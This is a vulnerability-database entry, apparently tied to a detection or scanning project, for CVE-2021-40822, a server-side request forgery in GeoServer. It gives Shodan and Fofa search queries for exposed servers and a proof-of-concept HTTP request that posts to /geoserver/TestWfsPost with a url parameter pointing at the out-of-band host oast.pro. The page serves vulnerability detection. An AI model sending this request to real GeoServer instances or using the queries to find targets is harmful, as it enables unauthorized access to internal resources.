🔙 목록으로 돌아가기

CVE-2021-40822: Geoserver - Server-Side Request Forgery

TitleGeoserver - Server-Side Request Forgery
AuthorFor3stCo1d,aringo-bf
SeverityHigh
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access to internal resources, data leakage, and potential remote code execution.
RemediationApply the latest security patches or updates provided by the Geoserver project to mitigate the SSRF vulnerability.
CVSS Score7.5
EPSS Score0.93253
CVE IDCVE-2021-40822
CWE IDCWE-918
Shodan Querytitle:"GeoServer"http.title:"geoserver"
Fofa Queryapp="GeoServer"app="geoserver"title="geoserver"
Tags cve2021 cve ssrf geoserver osgeo vkev vuln

🔍 Vulnerability Description

GeoServer through 2.18.5 and 2.19.x through 2.19.2 allows server-side request forgery via the option for setting a proxy host.

🌐 HTTP Request

GET /geoserver/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 108) AppleWebKit/536.15 (KHTML like Gecko) Version/6.0 Safari/536.16
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
POST /geoserver/TestWfsPost HTTP/1.1
Host: oast.pro
User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Content-Length: 70
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

form_hf_0=&url=http://oast.pro/geoserver/../&body=&username=&password=

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-40822.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-40822.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A